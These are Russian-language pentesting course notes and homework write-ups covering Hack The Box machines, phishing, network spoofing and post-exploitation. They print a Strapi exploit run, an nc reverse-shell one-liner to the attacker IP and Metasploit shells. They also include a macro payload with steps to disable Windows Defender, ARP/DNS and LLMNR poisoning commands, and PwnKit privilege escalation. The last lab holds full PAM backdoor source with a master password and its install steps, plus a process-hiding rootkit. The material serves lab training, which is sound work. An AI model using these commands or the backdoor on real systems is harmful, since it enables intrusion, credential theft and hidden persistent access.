# CSRn-8_25.05.2022_Network Infrastructure Attacks (Advanced) # Lession 1 | используемые проги и команды | описание | --------------------------- | -------- | nmap | сканер сети | whatweb | анализ web сервисов | gobuster | перебор папок, файлов, виртуальных хостов на серевере ## Time Codes ### `1:27:46 HTTB - Horizontall ` https://app.hackthebox.com/machines/374 **1:40:00** * sudo nano /etc/host `10.10.11.105 horizontall.htb` * ping horizontall.htb **1:42:35** объяснение син пакетов/сканирование(узнаем какие хосты живы разными методами nmap) **1:49:39** nmap-services как nmap определяет типы сервисов * cd /usr/share/nmap * cat nmap-services * less nmap-service-probes **1:42:00 - 1:55:00** "sudo nmap ...." подробное объяснение всех ключей * sudo nmap -Pn -n -vvv -T4 -sS -sV -version-all -sC -O -p- --open -oA file_horizont horizontall.htb *-Pn - выключить пинг-сканирование, и считать, что все целевые адреса существуют -n - не выполняем обратный резолв -vvv - подробнй вывод -T4 - скорость, по дефолту Т3 -sS - syn сканирование открытых портов -sV - определяем версию сервисов –version-all - более расширенные проверки -sC - нмап скриптинг энжин (дефолтный набор скриптов) -O - определение версии ОС -p- - сканирование всех портов(по умолчанию нмап сканит первые 1000 портов по TCP) –open - хотим получить только открытые порты -oA - вывод во всех форматах fullscantraverxec.htb - файлик с отчетом traverxec.htb - имя нашей машинки* ``` PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL2qJTqj1aoxBGb8yWIN4UJwFs4/UgDEutp3aiL2/6yV2iE78YjGzfU74VKlTRvJZWBwDmIOosOBNl9nfmEzXerD0g5lD5SporBx06eWX/XP2sQSEKbsqkr7Qb4ncvU8CvDR6yGHxmBT8WGgaQsA2ViVjiqAdlUDmLoT2qA3GeLBQgS41e+TysTpzWlY7z/rf/u0uj/C3kbixSB/upkWoqGyorDtFoaGGvWet/q7j5Tq061MaR6cM2CrYcQxxnPy4LqFE3MouLklBXfmNovryI0qVFMki7Cc3hfXz6BmKppCzMUPs8VgtNgdcGywIU/Nq1aiGQfATneqDD2GBXLjzV | 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIyw6WbPVzY28EbBOZ4zWcikpu/CPcklbTUwvrPou4dCG4koataOo/RDg4MJuQP+sR937/ugmINBJNsYC8F7jN0= | 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJqmDVbv9RjhlUzOMmw3SrGPaiDBgdZ9QZ2cKM49jzYB 80/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Did not follow redirect to http://horizontall.htb ``` **02:04:16** curl http://horizontall.htb/ **02:05:09** whatweb (анализатор веб сервисов)(определение стека технологий) `**02:08:12**` * whatweb -a 3 --log-brief=horizontall_whatweb.log http://horizontall.htb ``` http://horizontall.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.10.11.105], Script, Title[horizontall], X-UA-Compatible[IE=edge], nginx[1.14.0] ``` **02:11:20** gobuster(перебор директорий на вэб сайте) `**02:17:42**` * gobuster dir -u http://horizontall.htb -t 50 -b 404,403 -x txt,html,php,bak,phps,old -o gb_hor.log -w spravochnik *-k - пропускаем проверку сертификаты -t - количество потоков т.е. одновременных соединений -b - исключаем коды, которые нам не интересны, например 404 или 403. Ответы с ними не смотрим -x - список расширений, которые подходят к нашей технологии -о - название файла куда пишим результат -w - словарь* ``` =============================================================== [+] Url: http://horizontall.htb [+] Method: GET [+] Threads: 50 [+] Wordlist: spravochnik [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.1.0 [+] Extensions: php,bak,phps,old,txt,html [+] Timeout: 10s =============================================================== ``` **02:18:14** wireshark **02:20:00** откуда взять словари для перебора (2:25:14 - какой словарь выбрать) ``` https://github.com/danielmiessler/SecLists или sudo apt install seclist осторожно 40 гигов ``` **02:23:31** * gobuster dir -u http://horizontall.htb -t 50 -b 404,403 -x txt,html,php,bak,phps,old -o gb_hor.log -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt *не получится перебрать - ни чего нету* **02:28:00** перебор виртуальных хостов ``` скачиаваем словарь https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-110000.txt ``` * gobuster vhost -u http://horizontall.htb -t 50 -w /home/kali/dict/subdomains-top1million-110000.txt ``` =============================================================== Found: api-prod.horizontall.htb (Status: 200) [Size: 413] =============================================================== ``` *вносим* в etc/hosts << 10.10.11.105 api-prod.horizontall.htb *смотрим* http://api-prod.horizontall.htb * whatweb -a 3 --log-brief=horizontall_whatweb.log http://api-prod.horizontall.htb ``` http://api-prod.horizontall.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.10.11.105], Strict-Transport-Security[max-age=31536000; includeSubDomains], Title[Welcome to your API], UncommonHeaders[content-security-policy], X-Frame-Options[SAMEORIGIN], X-Powered-By[Strapi <strapi.io>], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block], nginx[1.14.0] ``` погуглим что такое <strapi.io> **02:41:00** * gobuster dir -u http://api-prod.horizontall.htb -t 50 -b 404,403 -o gb_hor.log -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt ``` =============================================================== /reviews (Status: 200) [Size: 507] /admin (Status: 200) [Size: 854] /Reviews (Status: 200) [Size: 507] /Admin (Status: 200) [Size: 854] ``` **ищем эксплойт в гугле "strapi cms exploit"** https://www.exploit-db.com/exploits/50239 сохраняем файл с расширение py **02:52:27** сканирование на уязвимости * nmap --script \*vuln* * msfconsole -q search ms17-010 посмотреть wmap **02:57:07** применяем эксплойт * python3 exploit.py http://api-prod.horizontall.htb ``` +] Checking Strapi CMS Version running [+] Seems like the exploit will work!!! [+] Executing exploit [+] Password reset was successfully [+] Your email is: admin@horizontall.htb [+] Your new credentials are: admin:SuperStrongPassword1 [+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjU1MzY4NDY3LCJleHAiOjE2NTc5NjA0Njd9.7Z9uRgh6ajBfvbbkjnUnQg7j3KB62eo14VMUbIcBQlo $> ``` # Lession 2 **0:9:00** Мы получили на предыдущем уроке шел на жертве. теперь получи реверс шел. запустим на кали > nc -nlvp 1234 на сайте https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md выбираем методом подбора разные шелы и нам подошел вводим на жертве. адрес нашей кали > rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 1234 >/tmp/f ``` connect to [10.10.14.6] from (UNKNOWN) [10.10.11.105] 60750 /bin/sh: 0: can't access tty; job control turned off $ $ $ ``` получили реверс шел получаем /bin/bash на кали > python3 -c 'import pty; pty.spawn("/bin/bash")' `strapi@horizontall:~/myapi$ ` **0:10:13** **Повышение привелегий** **0:38:00** Теория про взлом VPN **0:45:00** Подключение к EndGame XEN **0:14:00_file#2** пробив через тельнет имен пользователей и почты **0:15:00** smtp-user-enum - автомотизация подбора имен пользователей > sudo apt instal smtp-user-enum > smtp-user-enum -M RCPT -U /usr/share/metaspoit-framework/data/wordlist/mamelist.txt -D localdomen -t postserver -m 50 **0:31:00** single file firefox **0:34:00** создаем фишинговую страницу > sudo apt install set > sudo setoolkit **1:10:33** swaks почтовая рассылка **1:32:40** написание вреданосного макроса # Lession 3 **0:15:00** Продолжаем исследоваь XenAPP проводим атаку с рассылкой и созданием фишинговой страницы скрипт позволяющий сделатьрассылку **0:47:00** Установка CitrixResiver и подключения через него **0:47:00** Работа на взломанной машине. обход ограничений **0:57:39** msfvenom -создание exe файла с полезной нагрузкой(для нас) **0:59:40** трасфер файлов. тоесть скачивание со жертвы **1:13:00** post/multi/recon/local_exploit_suggester это в метасплойте пост эксплуатационное сканирование **1:18:00** объяснение про уязвимость финдовса к MSI файлам взлом виндовс (обязательно повторить 1:24) **1:38:50** /post/windows/gather/credentials/** пост модули для вытаскивания учетных данный метасплойт **1:52:00** проникновение в здание и получение доступа к сети концепция 802.1х это безопасность в лан (потом разобраться) **2:42:28** корпоративный wifi **3:11:49** картинка показывает что нашли в сети и что с этим можно сделать **3:13:24** протоколы списком и какие на них можно делать атаки **3:15:14** минимальный список сетевых аттак, необходимый при пентесте **3:18:08** три аттаки самые профитные **3:18:08** 1. ARP спуфинг **3:35:08** 1. ARP спуфинг сама аттака # Lession 4 **0:07:00** советы как правельно изучать сеть (второй файл) **0:05:00** советы по трудоустройству (первый файл) **0:50:00** Arp spoofing (dns spoofing) **установка bettercap** > sudo apt remove bettercap > sudo rm /usr/local/bin/bettercap > ln -s /usr/lib/x86_64-linux-gnu/libpcap.so.1.8.1 /usr/lib/x86_64-linux-gnu/libpcap.so.1 > wget "https://github.com`curl -s https://github.com/bettercap/bettercap/releases | grep -E -o '/bettercap/bettercap/releases/download/v[0-9.]+/bettercap_linux_amd64_(|v)[0-9.]+zip' | head -n 1`" > unzip bettercap_linux_amd64_*zip > sudo mv bettercap /usr/local/bin/ > rm bettercap_linux_amd64_* > sudo bettercap -iface eth0 **АТАКА Arp spoofing (dns spoofing)** > net.probe on > net.probe off > net.show > set arp.spoof.targets 192.168.1.2(можно не указывать) > set arp.spoof.internal true > set net.sniff.local true > set sniff.verbose true > set dns.spoof.addres (адресс кали) > set dns.spoof.domain * (лучше ставить домен компании) > net.sniff on > dns.spoof on > arp.spoof on **1:39:00** ipv6 spoofing (поднимаем фейковый dhcp сервер на ipv6) **установка mitm6** > sudo pip3 install mitm6 **АТАКА mitm6** > sudo mitm6 -i eth0 -d compani.local > sudo responder -I eth0 -Av **2:00:00** **2:31:53** NBT-NS/LLMNR POISONING(ждем когда кто-нибуть ошибется в имени запроса и мы прикидываемся тем что пользователь написал) > c:\hostname > C:\Users\user>ipconfig /displaydns -показывает dns кэш > ipconfig /displaydns | findstr (искомое слово) - так в повершеле можно оторбражать только самое необходимое **АТАКА NBT-NS/LLMNR POISONING** **2:42:53** > sudo responder -I eth0 -v # Lession 5 **0:14:00** WPAD протокол(вэб прокси автоматический поиск) **0:36:00** атака > C:\Users\user>systeminfo | findstr /i 3161949 (проверяем есть ли этот патч на жертве если до то не получится провести атаку) **0:33:00** если запустить wireshark и увидеть запросы на wepad по атака возможна **0:36:00** >sudo responder -I eth0 -wFv **1:02:00** >sudo responder -I eth0 -dwFv (это для win 10)(заработало у меня) **1:10:00** Метасплойт!! **1:14:00** api **1:25:00** >sudo systemctl enable postgresql >sudo systemctl start postgresql >sudo msfdb init >sudo msfdb reinit (пересоздание новой базы данных) **1:27:00** модули метаспплойта * Auxiliary - сбор информации * Exploits - експлойты * Payloads - полезные нагрузки * Post - пост эксплоатация * Encodes - обход антивирусов и обработки плахих символов **1:27:00** Auxiliary **1:34:25** Exploits Payloads нужно пересмотреть про метасплойт.. но когда опыта побольше станет # Домашние работы # Урок 1 ## Задание **Обязательная часть:** ``` Зарегистрируйтесь на платформе HackTheBox, активируйте VIP-аккаунт и получите доступ (возможность выполнять произвольные команды в командной оболочке) к машине Traverxec c правами пользователя. Ссылка на машину: https://app.hackthebox.eu/machines/217 ``` **Дополнительная часть:** ``` Найдите способ повысить свои права до пользователя root ``` ## Решение: * ping 10.10.10.165 * sudo nmap -Pn -n -vvv -T4 -sS -sV -version-all -sC -O -p- --open -oA file_Traverxec 10.10.10.165 ``` 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0) | ssh-hostkey: | 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVWo6eEhBKO19Owd6sVIAFVCJjQqSL4g16oI/DoFwUo+ubJyyIeTRagQNE91YdCrENXF2qBs2yFj2fqfRZy9iqGB09VOZt6i8oalpbmFwkBDtCdHoIAZbaZFKAl+m1UBell2v0xUhAy37Wl9BjoUU3EQBVF5QJNQqvb/mSqHsi5TAJcMtCpWKA4So3pwZcTatSu5x/RYdKzzo9fWSS6hjO4/hdJ4BM6eyKQxa29vl/ea1PvcHPY5EDTRX5RtraV9HAT7w2zIZH5W6i3BQvMGEckrrvVTZ6Ge3Gjx00ORLBdoVyqQeXQzIJ/vuDuJOH2G6E/AHDsw3n5yFNMKeCvNNL | 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLpsS/IDFr0gxOgk9GkAT0G4vhnRdtvoL8iem2q8yoRCatUIib1nkp5ViHvLEgL6e3AnzUJGFLI3TFz+CInilq4= | 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGJ16OMR0bxc/4SAEl1yiyEUxC3i/dFH7ftnCU7+P+3s 80/tcp open http syn-ack ttl 63 nostromo 1.9.6 |_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34 | http-methods: |_ Supported Methods: GET HEAD POST |_http-server-header: nostromo 1.9.6 |_http-title: TRAVERXEC ``` * sudo nmap --script \*vuln* 10.10.10.165 ``` 22/tcp open ssh 80/tcp open http | http-vuln-cve2011-3192: | VULNERABLE: | Apache byterange filter DoS ``` не то * msfconsole -q * msf6 > search nostromo ``` 0 exploit/multi/http/nostromo_code_exec 2019-10-20 good Yes Nostromo Directory Traversal Remote Command Execution ``` * msf6 > use exploit/multi/http/nostromo_code_exec * msf6 exploit(multi/http/nostromo_code_exec) > show options * msf6 exploit(multi/http/nostromo_code_exec) > set RHOSTS 10.10.10.165 * msf6 exploit(multi/http/nostromo_code_exec) > set LHOST 10.10.14.6 * msf6 exploit(multi/http/nostromo_code_exec) > show payloads ``` Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.10.10.165 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host Payload options (cmd/unix/reverse_bash): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.14.6 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port ``` * msf6 exploit(multi/http/nostromo_code_exec) > exploit ``` [*] Started reverse TCP handler on 10.10.14.6:4444 [*] Configuring Automatic (Unix In-Memory) target [*] Sending cmd/unix/reverse_perl command payload [*] Command shell session 1 opened (10.10.14.6:4444 -> 10.10.10.165:35502) at 2022-06-16 18:17:12 +0600 _ ``` получаем шел, но очень неудобный. запускаем meterpreter нажимаем ctl+z ``` Background session 1? [y/N] y ``` смотри сколько ссесий msf6 exploit(multi/http/nostromo_code_exec) > sessions запускаем meterpreter msf6 exploit(multi/http/nostromo_code_exec) > sessions -u 1 ``` pwd /usr/bin id uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` Пользователя получили. все. Root пока не знаю как # Урок 2 ## Задание ``` Обязательная часть 1. Повысить привилегии на машине Horizontall до root через проброс порта через SSH и эксплуатацию RCE-уязвимости в Laravel. 2. Реализовать атаку с использованием вредоносного макроса при помощи модуля MSF exploit/multi/fileformat/office_word_macro. Дополнительная часть Получить доступ к удаленному рабочему столу в Endgame Xen с помощью фишинговой атаки(аналогично примеру с занятия), найти способ запустить meterpreter (или иной postexploitation framework) и повысить свои права до NT AUTHORITY\SYSTEM. ``` ## Решение: ### Повышаем привелегии Для начала скачаем [linpeas](https://github.com/carlospolop/PEASS-ng/releases/tag/20220529) командой > wget https://github.com/carlospolop/PEASS-ng/releases/download/20220529/linpeas.sh затем в одной консоли поднимем сервер > python3 -m http.server 80 а во второй консоли скачаем на нашу целевую машину > wget http://10.10.14.3/linpeas.sh запустим > bash linpeas.sh При сканировании он нам нашел уязвимость ![](https://i.imgur.com/mYlXb5X.png) идем в гугл и ищим *CVE-2021-4034 exploit* находим первую [ссылку](https://github.com/berdav/CVE-2021-4034) качаем себе локально эксплоит > sudo git clone https://github.com/berdav/CVE-2021-4034.git переходим в папку с эксплоитом и билдим его > cd CVE-2021-4034 > sudo make Запаковываем все что есть в архив sudo tar -cf exp.tar * поднимаем снова сервер > python3 -m http.server 80 качаем архив на тачку > wget http://10.10.14.3/exp.tar распаковываем и даем права на исполнение > tar -xvf exp.tar > chmod + cve-2021-4034 ну и запускаем > ./cve-2021-4034 ### 2-ой вариант получение рута после получения первоначального доступа мы можем проэксплуатировать другую уязвимость связанную с Laravel v8 (PHP v7.4.18) данный сервис мы обнаружили посмотрев порты на машине командой > ss -tnlp ![](https://i.imgur.com/pwZiiFY.png) а затем дернули его курлом > curl localhost:8000 ![](https://i.imgur.com/q18uVGD.png) Ддя реализации данной атаки нам необходимо на хостовой машине сгенерировать ключи ssh командой > ssh-keygen затем мы выводим наш ключ командой > cat id_rsa.pub копируем его и идем на уязвимую машину > mkdir ~/.ssh > cd ~/.ssh > echo "сюда кладем вывод команды cat" >> authorized_keys > sudo ssh -i id_rsa -N -L 8000:127.0.0.1:8000 strapi@horizontall.htb ![](https://i.imgur.com/4plPADh.png) далее нам потребуется **[этот](https://github.com/nth347/CVE-2021-3129_exploit)** эксплойт после чего прописав эти команды: > git clone https://github.com/nth347/CVE-2021-3129_exploit.git > cd CVE-2021-3129_exploit > chmod +x exploit.py > ./exploit.py http://localhost:8000 Monolog/RCE1 pwd && id мы получаем рута ![](https://i.imgur.com/i2UoYNI.png) ### Вредоносное вложение в Word качаем виртуалку с https://developer.microsoft.com/ru-ru/microsoft-edge/tools/vms/ ставим оффис ![](https://i.imgur.com/POcloBj.png) запускаем метасплоит > msfconsole -q ищем модуль > search office_word используем > use 1 ![](https://i.imgur.com/7QwHaUW.png) посмотрим опции > options ``` LHOST - ip на eht0 LPORT - порт который будем слушать ``` запустим > run тут сгенерируется документ с макросом `/home/user/.msf4/local/msf.docm` > jobs вывод будет пустой т.к. пока ничего не запущено ![](https://i.imgur.com/PhKuLLK.png) чтобы получить шелл от полезной нагрузки нам нужно поднять хендлер > use exploit/multi/handler зададим опции > set lhost eth0 > set lport 4444 установим полезную нагрузку дефолтную > set payload windows/meterpretter/reverse_tcp > set exitonsession false чтобы все запускалось в бекграунде пропишем > run -j -z теперь снова посмотрим джобы > jobs -l видим что появилась полезная нагрузка ![](https://i.imgur.com/RMxsLVE.png) в другой консольке перейдем в **/root/.msf4/local/** затем поднимем отсюда http server > python3 -m http.server 80 и из под винды имеем доступ к http серверу откуда можем скачать наш документ чтобы он заработал нам нужно отключить windows defender, это можно сделать если запустить из под админа > gpedit.msc ![](https://i.imgur.com/gfKo4Uw.png) ![](https://i.imgur.com/3eiaNE8.png) ![](https://i.imgur.com/o8G3fFO.png) после это он будет выключен и сам не включится далее качаем документ с макросом и запускаем его. Далее разрешаем редактирование и включаем содержимое. После этого к нам прилетает shell ![](https://i.imgur.com/MyIEi6e.png) Посмотрим как это работает. Перейдем в сам документ во вкладку вид и затем в макросы ![](https://i.imgur.com/2ng1fYR.png) макрос AutoOpen, а точнее даже функция выполняется сразу после открытия документа Если мы хотим узнать под каким процессом мы сидим нам необходимо выполнить команду > getpid затем отправить нашу сессию в background, и грепнуть ее > grep 7684 sessions -i 1 -C ps ![](https://i.imgur.com/aCIzGsm.png) таким образом из сессии 1 мы запускаем вывод всех процессов и из этого вывода делаем выборку по номеру процесса # Урок 3 ## Задание 1. Провести атаку ARP Spoofing с использованием ПО Cain and Abel, выполнить подмену сертификата (sslsplit) и перехватить учетные данные на сайте с HTTPS. 2. Провести атаку Rogue DHCPv6 (IPv6 DNS Spoofing) при помощи https://github.com/Kevin-Robertson/Inveigh. 3. Провести атаку LLMNR/NBNS/MDNS Poisoning при помощи модулей MSF. ### Провести атаку ARP Spoofing с использованием ПО Cain and Abel (не разобрался. антивирусники блочат каина и авеля... нужно позже разобраться) ### Провести атаку Rogue DHCPv6 (IPv6 DNS Spoofing) при помощи https://github.com/Kevin-Robertson/Inveigh. Убедится что в настройках сети NAT включенн ipv6 на кали устанавливаем питон и митм6 apt install python3-pip pip3 install mitm6 # Урок 7 ## Задание Обязательная часть: 1) Скомпилировать и установить руткит libprocesshider по инструкции из репозитория https://github.com/gianlucaborello/libprocesshider. Проверить его работу, убедиться в том что он скрывает тестовый процесс evil_script.py. 2) Скомпилировать и настроить backdoor по инструкции из репозитория: https://github.com/eurialo/pambd, выявить опечатки в инструкции, убедиться в корректной работе этой программы. Дополнительная часть: 1) Обнаружить и удалить следы атаки на систему Postexploitation server c помощью редакторов sed/awk и проекта https://github.com/Macr0phag3/LLC 2) Изменить временные метки для подмененного файла sshd так, чтобы скрыть его подмену. Например, за основу можно взять время изменения файла /bin/ls Задание повышенной сложности: https://www.root-me.org/fr/Challenges/Forensic/Rootkit-Cold-case ### Скомпилировать и установить руткит libprocesshider > us@lin:~$ git clone https://github.com/gianlucaborello/libprocesshider > us@lin:~$cd libprocesshider > us@lin:~/libprocesshider$ ls ``` evil_script.py Makefile processhider.c README.md ``` > us@lin:~/libprocesshider$ make > us@lin:~/libprocesshider$ sudo apt install libc6-dev(если фыходит ошибка sdtio.h) > us@lin:~/libprocesshider$ make ``` gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl ``` > us@lin:~/libprocesshider$ ./evil_script.py 1.2.3.4 1234 & `[1] 5491` > export LD_PRELOAD=/usr/local/lib/libprocesshider.so #### Проверка работы > us@lin:~$ cat /proc/5491/status ``` Name: evil_script.py Umask: 0002 State: R (running) ``` > us@lin:~$top ``` PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 30 root 20 0 0 0 0 S 2,0 0,0 21:18.28 ksoftir+ 937 root 20 0 1259340 103160 49580 S 2,0 1,3 0:24.53 Xorg 5813 us 20 0 14404 3956 3448 R 0,7 0,0 0:00.13 top 922 root 20 0 363484 2908 2536 S 0,3 0,0 0:01.54 VBoxSer+ 1029 us 20 0 157892 2800 2432 S 0,3 0,0 0:35.36 VBoxCli+ 1846 us 20 0 468988 42648 31424 S 0,3 0,5 0:08.65 gnome-t+ 5755 root 20 0 0 0 0 I 0,3 0,0 0:00.01 kworker+ 1 root 20 0 167340 11340 8372 S 0,0 0,1 0:04.95 systemd 2 root 20 0 0 0 0 S 0,0 0,0 0:00.02 kthreadd 3 root 0 -20 0 0 0 I 0,0 0,0 0:00.00 rcu_gp 4 root 0 -20 0 0 0 I 0,0 0,0 0:00.00 rcu_par+ 6 root 0 -20 0 0 0 I 0,0 0,0 0:00.00 kworker+ 8 root 0 -20 0 0 0 I 0,0 0,0 0:00.00 mm_perc+ 9 root 20 0 0 0 0 S 0,0 0,0 0:00.29 ksoftir+ 10 root 20 0 0 0 0 I 0,0 0,0 0:01.59 rcu_sch+ 11 root rt 0 0 0 0 S 0,0 0,0 0:00.08 migrati+ 12 root -51 0 0 0 0 S 0,0 0,0 0:00.00 idle_in+ ``` > us@lin:~$ ps ``` PID TTY TIME CMD 5500 pts/1 00:00:00 bash 5836 pts/1 00:00:00 ps ``` > us@lin:~$ lsof -ni | grep evil_sc > us@lin:~$ ### Скомпилировать и настроить backdoor **pam -это линуксовый api для авторизации(локальной или сетевой)** ***ссылки*** https://github.com/eurialo/pambd https://xakep.ru/2017/01/31/unix-pam-backdoor/#toc03. https://n0a.pw/pam-backdoor/ **Решение** > ldd /usr/sbin/sshd | grep libpam.so `libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007f6a2344c000)` > ldd /bin/su | grep libpam.so `libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fdb89aed000)` если ssh не установлен > sudo apt-get install ssh создаем файл ~/pam/pambd.c ``` #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <security/pam_appl.h> #include <security/pam_modules.h> #define MYPASSWD "pas" PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) { return PAM_SUCCESS; } PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) { return PAM_SUCCESS; } PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,int argc, const char **argv) { char *password = NULL; pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL); if (!strncmp(password, MYPASSWD, strlen(MYPASSWD))) return PAM_SUCCESS; return -1; } ``` где #define MYPASSWD "pas" это будет мой мастер пароль > sudo apt-get install libpam0g-dev gcc > gcc -shared -fPIC -ldl -o pam_bd.so pambd.c > ld -x --shared -o pam_backdoor.so pambd.o > sudo chown root:root pam_backdoor.so > sudo cp pam_backdoor.so /lib/x86_64-linux-gnu/security/ для команды su меняем в файле /etc/pam.d/su ``` auth sufficient pam_rootok.so auth sufficient pam_unix.so account required pam_unix.so session required pam_unix.so auth sufficient pam_backdoor.so account sufficient pam_backdoor.so`` ``` для ssh меняем в файле /etc/pam.d/common-auth ``` auth sufficient pam_unix.so nullok_secure auth sufficient pam_backdoor.so ``` Проверка, везде пароль pas **su** > us@lin:~/pam$ su ``` Password: root@lin:/home/us/pam# ``` **ssh** > us@lin:~/pam$ ssh us@localhost us@localhost's password: Last login: Wed Jul 13 15:53:58 2022 from 127.0.0.1 >> us@lin:~$